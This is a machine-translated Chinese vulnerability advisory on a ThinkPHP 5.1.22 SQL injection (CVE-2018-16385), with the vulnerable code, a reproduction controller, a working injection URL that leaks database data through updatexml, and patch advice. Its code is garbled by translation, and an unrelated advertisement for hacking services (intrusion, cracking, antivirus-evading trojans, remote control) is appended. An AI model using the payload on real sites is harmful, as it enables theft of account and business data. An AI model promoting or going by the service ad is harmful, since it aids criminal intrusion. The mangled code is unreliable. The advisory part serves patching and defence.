0x00 [漏洞警告] ThinkPHP v5.1.22版本暴露了SQL注入漏洞 最近,ThinkPHP暴露了SQL注入漏洞。 ThinkPHP暴露的SQL注入漏洞已经相当多了。 6月,暴露了“更新”和“插入”类型的注射。由于用户数量众多,仍有必要关注它。该漏洞是由于接收到的数组类型参数的键未正确处理并且由SQL语句直接拼接到订单这一事实导致的,从而导致漏洞。该漏洞可以获取数据库数据,例如用户帐户密码,管理后台帐户密码,事务数据等。该漏洞风险很高。建议相关用户及时检查是否使用易受攻击的版本,检查后门,更新版本,避免丢失。 CVE号码 CVE-2018-16385 受影响的版本 版本< 5.1.23 用户分布 以下是ThinkPHP全球用户的分布(非漏洞影响),拥有23w用户。其中,中国有18w +用户,美国有3.3w用户,其他国家的用户相对较少。
以下是ThinkPHP全国用户的分布(非易受影响),浙江有8w +用户,北京2.7w +用户,广东1.1w用户。
漏洞分析 此漏洞代码位于“/thinkphp/library/think/db/Builder.php”文件中。这是漏洞代码: 受保护的函数parseorder($ query,$ order) { if(is_array($ order)){ $ array=[]; Foreach($ order as $ key=> $ val){ if(is_numeric($ key)){ If('[rand]'==$ val){ $ array []=$ this-> parseRand($ query); } elseif(false===strpos($ val,'(')){ $ array []=$ this-> parseKey($ query,$ val); } else { $ array []=$ val; } } else { $ sort=in_array(strtolower(trim($ val)),['asc','desc'])? ''。 $ val:''; $ array []=$ this-> parseKey($ query,$ key)。 ''。 $排序; } } $ order=implode(',',$ array); } 退货!空($ order)? '订购'。 $ order:''; } 受保护的函数parseKey($ query,$ key) { 返回$ key; } 如果我们按顺序传递[username | updatexm l(1,concat(0x3a,user()),1)%23]=1,则在“$ array []=$ this-> parseKey($ query,$ key)之后。''。$ sort“;其中$ sort为空,parseKey方法直接返回$ key值!然后“$ order=implode(',',$ array);”,这里数组合并成一个带逗号的字符串,最后传递“return!empty($ order)?”ORDER BY'。$ order:' “;”返回尚未处理的order by语句。 本地复制 使用以下内容在/application/index/controller /文件夹中创建Index.php文件: < PHP 命名空间app \ index \ controller; 类索引{ 公共职能指数(){ $数据=阵列(); $数据[ '用户名']=阵列( '当量', '管理员'); $为了=输入( 'get.orderby/A'); $ M=分贝( '用户') - 化合物其中($数据) - >顺序($顺序) - >发现(); Sdump($米); } } ?> 然后访问“http://127.0.0.1/public/?orderby[username|updatexm l(1,concat(0x3a,user()),1)%23]=1”),1)%23]=1“),即可以触发漏洞。
修复建议 1将ThinkPHP升级到最新版本 2部署waf和防火墙等安全设备 3将数组分支安全性检查添加到按语句处理流程的顺序。 https://github.com/top-think/fr amework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c 参考 [1] https://mp.weixin.qq.com/s/m6i6XCJ3cFgh1vH4fWO_Sw 作者:liudao - 从NOSEC.ORG转移 黑客业务列表介绍和一般分类: 类别:攻击入侵破解开发 1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量] 2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。 3:破解业务类:软件,加密文件,二次打包,脱壳等。 4:二次开发业务清单:软件二次开发,源代码二次开发等 5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等 备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明 注意:仅接受正式业务,个人无权接受。收集此内容。